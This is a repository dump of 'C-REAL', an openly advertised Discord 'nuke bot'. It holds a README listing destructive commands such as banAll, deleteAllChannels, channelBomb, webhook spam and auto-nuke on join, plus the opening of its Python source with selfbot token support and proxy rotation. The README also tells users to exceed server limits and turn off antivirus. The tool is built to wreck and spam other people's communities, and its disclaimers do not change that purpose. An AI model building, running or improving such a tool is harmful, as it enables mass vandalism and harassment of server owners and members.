├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ └── need_help.md ├── LICENSE ├── README.md ├── VERSION.txt ├── builder.html ├── c-realV2.py ├── default.json ├── manual.md ├── news.txt └── requirements.txt /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help C-REAL to improve 4 | title: 'Any crashes (console disappeared), unexpected outcome, and unusable commands?' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **What did you expected to happen** 21 | 22 | **What actually happened** 23 | 24 | **Screenshots** 25 | If applicable, add screenshots to help explain your problem. 26 | 27 | **Desktop (please complete the following information):** 28 | - OS: [e.g. iOS] 29 | - C-REAL version [e.g. v2.0] 30 | 31 | **Additional context** 32 | Add any other context about the problem here. 33 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/need_help.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Need help 3 | about: Stuck some where during setup or using a command? 4 | title: 'Why is _____ happening?' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | What's the problem you are having while you are using C-REAL? 11 | 12 | Have you checked the errors in the console? 13 | Yes or no 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 TKperson 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nuking Discord Server Bot/Nuke Bot 2 | * C-REAL is currently the **FASTEST** and **FREE** open source nuke bot out here. All commands will be focused on nuking-related. 3 | 4 | * We have combined threading, queue, requests, and discord.py API to make the commands run as fast as possible. If you are seeing rate limiting logged in your console while using this script, then that is simply because it runs too fast. 5 | 6 | * Python version 3.8.0 or higher is required if you are going to run the file from source code. 7 | 8 | * Update log: [here](news.txt) 9 | 10 | * [All 48 commands](manual.md) 11 | 12 | ``` 13 | [addEmoji] [autoNick] [autoStatus] [addVoiceChannel] 14 | [addCategory] [addRole] [addChannel] [banAll] [ban] 15 | [bans] [categoryBomb] [checkRolePermissions] [clear] 16 | [changeStatus] [channels] [categories] [connect] 17 | [channelBomb] [deleteCategory] [deleteCC] [deleteEmoji] 18 | [deleteAllRoles] [deleteAllChannels] [deleteAllEmojis] 19 | [deleteAllWebhooks] [deleteRole] [deleteChannel] 20 | [deleteVoiceChannel] [emojis] [help] [joinNuke] 21 | [kaboom] [leave] [leaveAll] [link] [members] [moveRole] 22 | [nuke] [off] [roleTo] [roles] [roleBomb] [si] [sn] 23 | [servers] [unban] [voiceChannels] [webhook] 24 | ``` 25 | 26 | # IMPORTANT: 27 | * We will not take any responsibility over whatever you are going to do with this bot. 28 | * The bot will still have to obey the [server limitings](https://discordia.me/en/server-limits) because of that in discord, there are rate limitings. You will see a lot of rate limiting in the console while using some commands. (because the bot is too fast on creating or deleting.) 29 | * Also, since we are using HTTP requests, unlike other nuke bot out there, C-REAL spam creating channel, role, and category(CRC) can create beyond the 250 limit for CRC that the old nuking bots have. 30 | 31 | ## Messages 32 | 33 | * cyxl: WTF 40 stars 16 more then the last time I checked that is insane guys. 34 | 35 | * Message to those coding masters out there, if you see something we can improve in our code, feel free to make a pull request. This will really help us a lot. ╰(✿´⌣\`✿)╯♡ 36 | 37 | * TKperson: I got the idea of creating the C-REAL bot from [Cerealwithnomilk](https://www.youtube.com/channel/UCxX7O68badw2sBbcvQK0wBQ); the bot is named after this guy. 38 | 39 | ## Check list for setting up everything 40 | 1. [Download](https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot/releases/latest/download/c-realV2.zip) the C-REAL file(or download the [whole thing](https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot/archive/master.zip)) 41 | 2. Get a discord profile(token) for the bot. 42 | 3. Make a configuration file with `builder.html`. 43 | 4. Drag the configured json file next to the executable file(The prebuilt verison) 44 | 5. Run the executable, and it should give you a bot invite link after the bot is ready. If the console closed by itself that means there's something wrong with the code and please report the issue to this github page. 45 | 6. (Optional) If the bot is asking for a path-to-the configuration file, you enter a local path or full path for the config file. 46 | 47 | ## What is a token/how to setup a token 48 | 1. The token for a bot is the profile for the bot. You'll need a profile for the bot to join servers. 49 | 2. Go to [Discord developers site](https://discord.com/developers/applications), login or sign up. 50 | 3. Create a new application or use your created application 51 | 4. Go to the bot tab in the application. 52 | 5. Click on add bot. 53 | 6. And then click on "Click to Reveal Token" or "Copy" to get your token. 54 | 55 | ## Common errors 56 | 57 | 1. PrivilegedIntentsRequired (non-selfbot users only) 58 | [![9977.png](https://i.postimg.cc/9fjCQNsh/9977.png)](https://postimg.cc/gx4fM4YS) 59 | Solution: Watch https://youtu.be/DXnEFoHwL1A?t=44 starting from 0:44 to turn on the required 2 buttons. (In the future, I'm going to make this requirement optional) 60 | 61 | 2. Unreadable json formatting 62 | [![886.png](https://i.postimg.cc/766cH3P4/886.png)](https://postimg.cc/PLgKK88V) 63 | Solution: This error means that you have an/multiple error(s) in your default.json file, it can be caused by missing/extra commas, brakets, quotes, and the like. You can use https://jsonlint.com/?code= to check your `default.json` file. 64 | 65 | 3. Litterary crashed when opening c-realv2.py or c-realv2.exe 66 | Causes: It might be caused by anti virus that quarantined this program, old versions of python (needs to be v3.8.0 or higher), old versions of packages (update your discord.py with pip!), didn't install any required packages at all. 67 | Solution: Update everything to the latest version, and try turning off anti virus. If you are still having an issue, you should report it in this github page right away. 68 | 69 | 89 | 90 | ## Guides 91 | ### Setup/config 92 | [![setup](http://img.youtube.com/vi/ovEj9Rjq2sQ/0.jpg)](http://www.youtube.com/watch?v=ovEj9Rjq2sQ "setup") 93 | ### Setup with GUI (if you don't like setting up with a text editor) 94 | [![setting up with builder.html](http://img.youtube.com/vi/DXnEFoHwL1A/0.jpg)](http://www.youtube.com/watch?v=DXnEFoHwL1A "setting up with builder.html") 95 | ### Nuke and kaboom commands 96 | [![nuke/kaboom](http://img.youtube.com/vi/GTs3mvyoh5U/0.jpg)](http://www.youtube.com/watch?v=GTs3mvyoh5U "nuke/kaboom") 97 | ### How to perform webhook spams 98 | [![webhooks attack script showcasing](http://img.youtube.com/vi/0jFdbY9Q2HQ/0.jpg)](http://www.youtube.com/watch?v=0jFdbY9Q2HQ "webhooks") 99 | ### check permission command and some other commands 100 | [![other1](http://img.youtube.com/vi/gGxeg3lyNDQ/0.jpg)](http://www.youtube.com/watch?v=gGxeg3lyNDQ "other1") 101 | ### Other commands part 2 102 | [![other2](http://img.youtube.com/vi/IBOahDX1QHg/0.jpg)](http://www.youtube.com/watch?v=IBOahDX1QHg "other2") 103 | 104 | ## Problems/issues 105 | * If you are experiencing crashing, please report it to "issues" on the [github page](https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot). 106 | * If the bot doesn't respond to any of the commands, check if the console is in highlighting/mark mode. If it's highlighting/mark mode, click the console then press any key on your keyboard, and it'll resolve. 107 | * If you see a bunch of white worded errors displaying in the console, and then crashed that means it's 90% a bug. So please make a new issue about it. 108 | -------------------------------------------------------------------------------- /VERSION.txt: -------------------------------------------------------------------------------- 1 | 2.3.2 2 | -------------------------------------------------------------------------------- /builder.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | C-REAL builder 6 | 7 | 267 | 268 | 269 |
270 |
271 |

C-REAL configuration builder

272 |
273 | 274 | 275 |
276 | 277 |
278 | 279 | 280 | 281 |
282 |
    283 |
    284 | 285 |
    286 |

    Bomb messages

    287 |
    288 | 289 | 290 |
    291 | 292 |
    293 | 294 | 295 | 296 |
    297 |
      298 |
      299 | 300 |
      301 |

      Webhook spams

      302 |
      303 | 304 | 305 | 306 |
      307 |
        308 | 309 |
        310 | 311 | 312 | 313 |
        314 |
          315 | 316 |
          317 | 318 | 319 | 320 |
          321 |
            322 |
            323 | 324 |
            325 |
            326 |

            Bot permissions

            327 |

            &permissions=0

            328 |
            329 |
            330 |
            331 | 332 |
            333 | 334 | 335 |
            336 | 337 |
            338 | 339 | 340 |
            341 | 342 |
            343 |

            Verbose levels

            344 |

            verbose=0

            345 |
            346 |
            347 | 352 | 357 | 362 | 367 |
            368 |
            369 |
            370 | 371 |
            372 |

            After

            373 | 374 |
            375 | 376 |
            377 | 378 |
            379 |
            380 | 416 | 417 | 635 | 636 | 637 | -------------------------------------------------------------------------------- /c-realV2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | MIT License 5 | 6 | Copyright (c) 2020 - 2021 7 | 8 | Permission is hereby granted, free of charge, to any person obtaining a copy 9 | of this software and associated documentation files (the "Software"), to deal 10 | in the Software without restriction, including without limitation the rights 11 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | copies of the Software, and to permit persons to whom the Software is 13 | furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all 16 | copies or substantial portions of the Software. 17 | 18 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | SOFTWARE. 25 | 26 | Don't use the bot on real servers or use it to spam because this is breaking 27 | discord's ToS, and you will be resulted in an account deletion. 28 | """ 29 | # discord 30 | try: 31 | import discord, sys, requests, os, time 32 | from discord.ext import commands 33 | import asyncio 34 | from packaging import version 35 | from random import randint, choice, randrange, random 36 | from threading import Thread 37 | from queue import Queue 38 | from io import BytesIO 39 | from math import ceil 40 | if sys.platform == 'linux': 41 | import simplejson as json 42 | else: 43 | import json 44 | # style 45 | from colorama import init, Fore 46 | except Exception as e: 47 | print(e) 48 | exit() 49 | 50 | 51 | init(autoreset=True) 52 | 53 | # 54 | __TITLE__ = "C-REAL" 55 | __VERSION__ = "2.3.2" 56 | __AUTHOR__ = "TKperson" 57 | __LICENSE__ = "MIT" 58 | 59 | # Global vars 60 | per_page = 15 61 | commands_per_page = 5 62 | number_of_bomb_default = 250 63 | selected_server = None 64 | sorted_commands = [] 65 | webhook_targets = [] 66 | saved_ctx = None 67 | nuke_on_join = False 68 | auto_nick = False 69 | auto_status = False 70 | selfbot_has_perm = False 71 | timeout = 6 72 | fetching_members = False 73 | 74 | # normal functions============== 75 | def exit(): 76 | try: 77 | input('Press enter to exit...') 78 | except (EOFError, KeyboardInterrupt): 79 | pass 80 | sys.exit(1) 81 | 82 | def readJson(): 83 | temp = None 84 | from pathlib import Path 85 | try: 86 | if os.path.isfile(Path().absolute().__str__() + '/default.json'): 87 | temp = json.load(open(Path().absolute().__str__() + '/default.json')) 88 | else: 89 | try: 90 | print('Cannot find side-by-side default.json file for configuration. Try entering a full path or local path to the configuration file.') 91 | uinput = input('Path: ') 92 | except KeyboardInterrupt: 93 | sys.exit(0) 94 | except EOFError: 95 | print('Invalid input/EOFError. This may be caused by some unicode.') 96 | exit() 97 | 98 | if os.path.isfile(uinput): 99 | temp = json.load(open(uinput)) 100 | else: 101 | print(f'{uinput} file doesn\'t exist.') 102 | exit() 103 | 104 | except json.decoder.JSONDecodeError: 105 | print('Unreadable json formatting in the given configuration file. Make sure the formats are correct.') 106 | exit() 107 | 108 | for nonessential in ['bomb_messages', 'webhook_spam', 'after', 'proxies']: 109 | if not nonessential in temp: 110 | temp[nonessential] = None 111 | 112 | try: 113 | return temp['token'], temp['permissions'], temp['bomb_messages'], temp['webhook_spam'], str(temp['bot_permission']), temp['command_prefix'], temp['bot_status'], temp['verbose'], temp['after'], temp['proxies'] 114 | except KeyError as e: 115 | print(f'Missing keys in the configuration file. {e} is missing.') 116 | exit() 117 | 118 | def banner(): 119 | # Some consoles are **** so I don't know why they are so **** so so so so I used std::cout 120 | sys.stdout.buffer.write(f'''\ 121 | ██████╗ ██████╗ ███████╗ █████╗ ██╗ 122 | ██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║ Version: {__VERSION__} 123 | ██║ █████╗ ██████╔╝█████╗ ███████║██║ Made by: 124 | ██║ ╚════╝ ██╔══██╗██╔══╝ ██╔══██║██║ TKperson 125 | ╚██████╗ ██║ ██║███████╗██║ ██║███████╗ and 126 | ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝ cyxl 127 | '''.encode('utf8')) 128 | 129 | if version.parse('1.5.1') > version.parse(discord.__version__): 130 | print('Please update your discord.py.') 131 | exit() 132 | token, permissions, bomb_messages, webhook_spam, bot_permission, command_prefix, bot_status, verbose, after, proxies = readJson() 133 | 134 | want_log_request = want_log_console = want_log_message = want_log_errors = False 135 | 136 | if verbose & 1 << 0: 137 | want_log_request = True 138 | if verbose & 1 << 1: 139 | want_log_console = True 140 | if verbose & 1 << 2: 141 | want_log_message = True 142 | if verbose & 1 << 3: 143 | want_log_errors = True 144 | 145 | def randomProxy(protocol): 146 | # As long it works fine then i'm using this method 147 | if proxies is None or len(proxies) == 0: 148 | return None 149 | return {protocol: choice(proxies)} 150 | is_selfbot = True 151 | try: 152 | headers = {'authorization': token, 'content-type': 'application/json'} 153 | print('Checking selfbot token.', end='\r') 154 | if not 'id' in requests.get(url='https://discord.com/api/v8/users/@me', proxies=randomProxy('https'), timeout=timeout, headers=headers).json(): 155 | # This is the hardest thing that I have tried to find in my life took me ages to know "Bot " is actually the bot's authorization 156 | # Reading source codes is always a good thing :) 157 | headers['authorization'] = 'Bot ' + token 158 | print('Checking normal bot token.', end='\r') 159 | if not 'id' in requests.get(url='https://discord.com/api/v8/users/@me', proxies=randomProxy('https'), timeout=timeout, headers=headers).json(): 160 | print('Invalid token is being used.') 161 | exit() 162 | else: 163 | is_selfbot = False 164 | except requests.exceptions.ProxyError: 165 | print('Bad proxy is being used. You can try to change a proxy or restart the bot.') 166 | exit() 167 | except requests.exceptions.ConnectTimeout: 168 | print(f'Proxy reached maximum load time: timeout is {timeout} seconds long.') 169 | exit() 170 | except requests.exceptions.ConnectionError: 171 | raise 172 | print('You should probably consider connecting to the internet before using any discord related stuff. If you are connected to wifi and still seeing this message, then maybe try turn off your VPN/proxy/TOR node. If you are still seeing this message or you just don\'t what to turn off vpn, you can try to use websites like repl/heroku/google cloud to host the bot for you. The source code is on https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot.') 173 | exit() 174 | 175 | ### check updates 176 | print('Checking update... ', end='\r') 177 | github_version = requests.get('https://raw.githubusercontent.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot/master/VERSION.txt').text 178 | if version.parse(github_version) > version.parse(__VERSION__): 179 | print(f'New C-REAL update has been launched -> {github_version} <- :party:') 180 | 181 | print('Loading scripts...' + ' ' * 15, end='\r') 182 | 183 | 184 | """ 185 | command_prefix - command prefix 186 | case_insensitive - commands will be callable without case retrictions if this is set to true 187 | self_bot - self_bot: :class:`bool` 188 | If ``True``, the bot will only listen to commands invoked by itself rather 189 | than ignoring itself. If ``False`` (the default) then the bot will ignore 190 | itself. This cannot be changed once initialised. 191 | intents - intents: :class:`Intents` 192 | The intents that you want to enable for the session. This is a way of 193 | disabling and enabling certain gateway events from triggering and being sent. 194 | If not given, defaults to a regularly constructed :class:`Intents` class. 195 | """ 196 | client = commands.Bot(command_prefix=command_prefix, case_insensitive=True, self_bot=is_selfbot, intents=discord.Intents().all(), proxies=randomProxy('http')) 197 | client.remove_command('help') 198 | ######### Events ######### 199 | @client.event 200 | async def on_connect(): 201 | if is_selfbot: 202 | for user in permissions: 203 | if str(client.user.id) == user or f'{client.user.name}#{client.user.discriminator}' == user: 204 | global selfbot_has_perm 205 | selfbot_has_perm = True 206 | permissions.append(str(client.user.id)) 207 | 208 | global sorted_commands 209 | sorted_commands = sorted(client.commands, key=lambda e: e.name[0]) 210 | await changeStatus(None, bot_status) 211 | 212 | @client.event 213 | async def on_ready(): 214 | banner() 215 | print('/+========================================================') 216 | print(f'| | {Fore.GREEN}Bot ready.') 217 | print(f'| {Fore.MAGENTA}+ Logged in as') 218 | print(f'| | {client.user.name}#{client.user.discriminator}') 219 | print(f'| | {client.user.id}') 220 | print(f'| {Fore.MAGENTA}+ Permission given to ') 221 | for permission in permissions: 222 | print(f'| | {permission}') 223 | print(f'| {Fore.MAGENTA}+ Bot prefix: ' + command_prefix) 224 | if is_selfbot: 225 | print(f'| {Fore.YELLOW}+ [Selfbot] This is a selfbot. Join servers with join codes.') 226 | else: 227 | print(f'| {Fore.YELLOW}+ https://discord.com/api/oauth2/authorize?client_id={client.user.id}&permissions={bot_permission}&scope=bot') 228 | print('| ~*************************************') 229 | print('\\+-----') 230 | 231 | # selected_server = client.guilds[1] 232 | # channel = selected_server.channels[0] 233 | # print(channel.name) 234 | 235 | # done = channel.overwrites_for(client.user) 236 | # print(dir(done)) 237 | 238 | # for i in dir(done): 239 | # print() 240 | 241 | # print(done._values) 242 | 243 | 244 | @client.event 245 | async def on_disconnect(): 246 | ''' 247 | on_disconnect - when the script is disconnected with the profile the bot will run this command 248 | usage: reset status 249 | ''' 250 | 251 | await changeStatus(None, 'offline') 252 | 253 | ### logs ### 254 | async def log(ctx, message): 255 | 256 | """ 257 | Logging messages to the user 258 | no args, but has settings. 259 | 260 | Modes: 261 | - Discord side 262 | 263 | - coming soon 264 | """ 265 | if want_log_message: 266 | # if not isDM(ctx) and ctx.guild.id == selected_server.id and 1 << 11 & selected_server.me.guild_permissions.value == 0: 267 | # consoleLog(message, True) 268 | # else: 269 | try: 270 | await ctx.send(message) 271 | except discord.errors.HTTPException: 272 | for i in range(ceil(len(message) / 2000)): 273 | await log(ctx, message[2000 * i:2000 * (i + 1)]) 274 | except: 275 | consoleLog(message) 276 | 277 | def consoleLog(message, print_time=False): 278 | if want_log_console: 279 | TIME = '' 280 | if print_time: 281 | TIME = f'{Fore.MAGENTA}[{time.strftime("%H:%M:%S", time.localtime())}] {Fore.RESET}' 282 | 283 | try: 284 | print(f'{TIME}{message}') 285 | except TypeError: # when there's a character that can't be logged with python print function. 286 | sys.stdout.buffer.write(f'{TIME}{message}'.encode('utf8')) 287 | 288 | @client.event 289 | async def on_command_error(ctx, error): 290 | # source: https://gist.github.com/AileenLumina/510438b241c16a2960e9b0b014d9ed06 291 | # source: https://github.com/Rapptz/discord.py/blob/master/discord/errors.py 292 | """ 293 | Error handlers 294 | It's always a good idea to look into the source code to find things that are hard to find on the internet. 295 | """ 296 | if not want_log_errors or hasattr(ctx.command, 'on_error'): 297 | return 298 | 299 | # get the original exception 300 | error = getattr(error, 'original', error) 301 | 302 | # print(error) 303 | # print(str(type(error))) 304 | 305 | if isinstance(error, commands.CommandNotFound): 306 | if checkPerm(ctx): 307 | try: 308 | await log(ctx, f'Command `{ctx.message.content}` is not found.') 309 | except discord.errors.HTTPException: 310 | await log(ctx, 'That command is not found.') 311 | 312 | elif isinstance(error, commands.CheckFailure): 313 | pass 314 | 315 | elif isinstance(error, discord.Forbidden): 316 | await log(ctx, f'403 Forbidden: Missing permission.') 317 | 318 | elif isinstance(error, commands.BotMissingPermissions): 319 | missing = [perm.replace('_', ' ').replace('guild', 'server').title() for perm in error.missing_perms] 320 | if len(missing) > 2: 321 | fmt = '{}, and {}'.format("**, **".join(missing[:-1]), missing[-1]) 322 | else: 323 | fmt = ' and '.join(missing) 324 | _message = 'I need the **{}** permission(s) to run this command.'.format(fmt) 325 | await log(ctx, _message) 326 | 327 | elif isinstance(error, commands.MissingPermissions): 328 | missing = [perm.replace('_', ' ').replace('guild', 'server').title() for perm in error.missing_perms] 329 | if len(missing) > 2: 330 | fmt = '{}, and {}'.format("**, **".join(missing[:-1]), missing[-1]) 331 | else: 332 | fmt = ' and '.join(missing) 333 | _message = 'You need the **{}** permission(s) to use this command.'.format(fmt) 334 | await log(ctx, _message) 335 | elif isinstance(error, commands.CommandInvokeError): 336 | await log(ctx, 'Command invoke error') 337 | 338 | elif isinstance(error, discord.errors.HTTPException): # usually caused by sending over 2000 characters limit 339 | # has already been handled in "def log" 340 | pass 341 | 342 | elif isinstance(error, commands.UserInputError): 343 | await log(ctx, 'Invalid input.') 344 | 345 | elif isinstance(error, commands.MissingRequiredArgument): 346 | if error.param.name == 'inp': 347 | await log(ctx, 'You forgot to give me input to repeat!') 348 | 349 | elif isinstance(error, commands.BadArgument): 350 | if ctx.command.qualified_name == 'tag list': # Check if the command being invoked is 'tag list' 351 | await log(ctx, 'I could not find that member. Please try again.') 352 | 353 | else: 354 | # 'args', 'code', 'response', 'status', 'text', 'with_traceback' 355 | # print(error) 356 | # print(error.args) 357 | # print(type(error.args)) 358 | 359 | try: # Don't want too many things logged into discord 360 | await log(ctx, '%s' % error.args) 361 | except discord.errors.NotFound: # When ctx.channel is deleted 362 | pass 363 | except TypeError: # When there's a charater that can't be logged into discord. Like if error.args contains a tuple which can't be automatically turned into a string. 364 | consoleLog(f'{Fore.RED}Error -> {error.args}: {Fore.YELLOW}When to using "{ctx.message.content}".', True) 365 | 366 | if is_selfbot: 367 | @client.event 368 | async def on_message(message): 369 | if message.content.startswith(command_prefix) and checkPerm(await client.get_context(message)): 370 | if message.author.id == client.user.id and not selfbot_has_perm: 371 | consoleLog(f'{Fore.YELLOW}Account owner {Fore.LIGHTBLUE_EX}"{client.user.name}#{client.user.discriminator}" {Fore.YELLOW}tried to use {Fore.LIGHTBLUE_EX}"{message.content}"{Fore.BLUE}. Too bad, he/she doesn\'t of the power to use this bot.', True) 372 | return 373 | 374 | message.author = client.user 375 | await client.process_commands(message) 376 | 377 | @client.event 378 | async def on_guild_join(guild): 379 | if nuke_on_join: 380 | global selected_server 381 | selected_server = guild 382 | await nuke(saved_ctx) 383 | 384 | def isDM(ctx): 385 | """ 386 | No args 387 | Checking if the ctx is whether from DM or in a server. There are different handlers for handling some commands. 388 | """ 389 | return isinstance(ctx.channel, discord.channel.DMChannel) 390 | # if isinstance(ctx.channel, discord.channel.DMChannel): 391 | # return True # in dm 392 | # return False # in server 393 | 394 | def nameIdHandler(name): 395 | if name.startswith('<@!') or name.startswith('<@&'): 396 | return name[:-1][3:] 397 | return name 398 | 399 | async def embed(ctx, n, title, array): 400 | """ 401 | Parameters: 402 | n - page number. And default is 1 403 | title - Command name/title 404 | array - The list for handling 405 | """ 406 | 407 | if not n.isdigit() or (n := int(n) - 1) < 0: 408 | await log(ctx, 'Bad page number.') 409 | return 410 | 411 | names = '' 412 | ids = '' 413 | 414 | item_length = len(array) 415 | if item_length == 0: 416 | return await ctx.send(f'{title} count: 0') 417 | init_item = n * per_page 418 | final_item = init_item + per_page 419 | if init_item > item_length - per_page: 420 | if init_item > item_length: 421 | await ctx.send('Invalid page number.') 422 | return 423 | final_item = init_item + (item_length % per_page) 424 | else: 425 | final_item = init_item + per_page 426 | 427 | for i in range(init_item, final_item, 1): 428 | item = array[i] 429 | if len(item.name) > 17: 430 | item.name = item.name[:17] + '...' 431 | names += f'{item.name}\n' 432 | ids += f'{str(item.id)}\n ' 433 | 434 | if not isDM(ctx) and 1 << 11 & selected_server.me.guild_permissions.value == 0 and (selected_server is None or ctx.guild.id == selected_server.id): 435 | names = names.split('\n') 436 | ids = ids.split(' ') 437 | consoleLog(f'\n{Fore.GREEN}*{title}*\n{Fore.RESET}Total count: {Fore.YELLOW}{str(item_length)}\n{Fore.GREEN}__Name__{" " * 13}{Fore.CYAN}__ID__\n{ "".join([(Fore.GREEN + names[i].ljust(21) + Fore.CYAN + ids[i]) for i in range(len(names) - 1)]) }{Fore.YELLOW}{n+1}/{str(ceil(item_length / per_page))}', True) 438 | else: 439 | try: 440 | theColor = randint(0, 0xFFFFFF) 441 | embed = discord.Embed( 442 | title = title, 443 | description = f'Total count: {str(item_length)}; color: #{hex(theColor)[2:].zfill(6)}', 444 | color = theColor 445 | ) 446 | embed.add_field(name='Name', value=names, inline=True) 447 | embed.add_field(name='ID', value=ids, inline=True) 448 | embed.set_footer(text=f'{n+1}/{str(ceil(item_length / per_page))}') 449 | await ctx.send(embed=embed) 450 | except: 451 | names = names.split('\n') 452 | ids = ids.split(' ') 453 | await ctx.send(f'```*{title}*\nTotal count: {str(item_length)}\n__Name__{" " * 13}__ID__\n{ "".join([(names[i].ljust(21) + ids[i]) for i in range(len(names) - 1)]) }{n+1}/{str(ceil(item_length / per_page))}```') 454 | 455 | async def hasTarget(ctx): 456 | """ 457 | Checking if there's a selected server for using the comands. 458 | """ 459 | # if not 1 << 11 & value: 460 | # consoleLog('No permission to send message') 461 | # return 462 | 463 | if selected_server is not None: 464 | return True 465 | elif not isDM(ctx): 466 | await connect(ctx) 467 | await log(ctx, f'You have been automatically `{command_prefix}connect` to server `{selected_server.name}` because you are not connected to a server and using a command inside a server.') 468 | return True 469 | else: 470 | await log(ctx, f'I am not connected to a server. Try `{command_prefix}servers` and `{command_prefix}connect`') 471 | return False 472 | 473 | def containing(a, b): 474 | for c in a: 475 | if c.name.lower() == b.lower() or str(c.id) == b: 476 | return c 477 | return None 478 | 479 | def checkPerm(ctx): 480 | for user in permissions: 481 | if str(ctx.author.id) == user or f'{ctx.author.name}#{ctx.author.discriminator}' == user: 482 | return True 483 | if not isDM(ctx): 484 | consoleLog(f'{Fore.LIGHTRED_EX}{ctx.author.name}#{ctx.author.discriminator} {Fore.RESET}tried to use {Fore.LIGHTYELLOW_EX}"{ctx.message.content}" {Fore.RESET}in server {Fore.LIGHTYELLOW_EX}"{ctx.guild.name}"{Fore.RESET}, at channel {Fore.LIGHTYELLOW_EX}"{ctx.channel.name}"{Fore.RESET}.', True) 485 | else: 486 | consoleLog(f'{Fore.LIGHTRED_EX}{ctx.author.name}#{ctx.author.discriminator} {Fore.RESET}tried to use {Fore.LIGHTYELLOW_EX}"{ctx.message.content}" {Fore.RESET}in {Fore.LIGHTYELLOW_EX}the bot\'s direct message{Fore.RESET}.', True) 487 | return False 488 | 489 | def fixedChoice(): 490 | return bomb_messages['fixed'][randint(0, len(bomb_messages['fixed']) - 1)] 491 | 492 | base64_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' 493 | def random_b64(): 494 | return ''.join(choice(base64_char) for _ in range(bomb_messages['random'])) 495 | 496 | alphanum = '0123456789!@#$%^&*ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 497 | def random_an(): 498 | return ''.join(choice(alphanum) for _ in range(bomb_messages['random'])) 499 | 500 | def sendMessagePerm(ctx): 501 | pass 502 | 503 | 504 | def checkTalkPerm(ctx): 505 | if isDM(ctx): # you can always talk in dm 506 | return True 507 | 508 | # return calcPerm(ctx, ) and 16384 & ctx.channel. 509 | 510 | # class discordMember: 511 | # def __init__(self, name, id_, discriminator=None, channel_id=None): 512 | # self.name = name 513 | # self.id = id_ 514 | # self.discriminator = discriminator 515 | # self.channel_id = channel_id 516 | # server_members = [] 517 | 518 | # def copyMember(author): 519 | # server_members.append(discordMember(author['username'], author['id'], author['discriminator'])) 520 | 521 | # def autoFindChannel(): 522 | # for channel in selected_server.text_channels: 523 | # for name in ['join', 'welcome', 'incoming']: 524 | # if name in channel.name: 525 | # return channel.id 526 | # return None 527 | ######### Commands ########## 528 | 529 | ######### Listing ########## 530 | @commands.check(checkPerm) 531 | @client.command(name='help', aliases=['h', 'commands']) 532 | async def help(ctx, asked_command=None): 533 | help_list = '```' 534 | if asked_command is None: 535 | for command in sorted_commands: 536 | help_list += f'[{command.name}] ' 537 | await ctx.send(help_list + f'\n\nYou can try {command_prefix}help to see all the aliases for the command. Or read the manual.md for more infomation about the commands.```') 538 | else: 539 | for command in sorted_commands: 540 | if asked_command.lower() == command.name.lower(): 541 | help_command = f'```{command_prefix}<{command.name}' 542 | for aliase in command.aliases: 543 | help_command += f'|{aliase}' 544 | help_command += '>' 545 | 546 | for param, default in command.params.items(): 547 | if param == 'ctx': 548 | continue 549 | 550 | if default.empty is not default.default: 551 | help_command += ' {' + param + '=' + str(default.default) + '}' 552 | else: 553 | help_command += ' [' + param + ']' 554 | if default.kind.name == 'KEYWORD_ONLY': 555 | break 556 | help_command += '```' 557 | 558 | await ctx.send(help_command) 559 | return 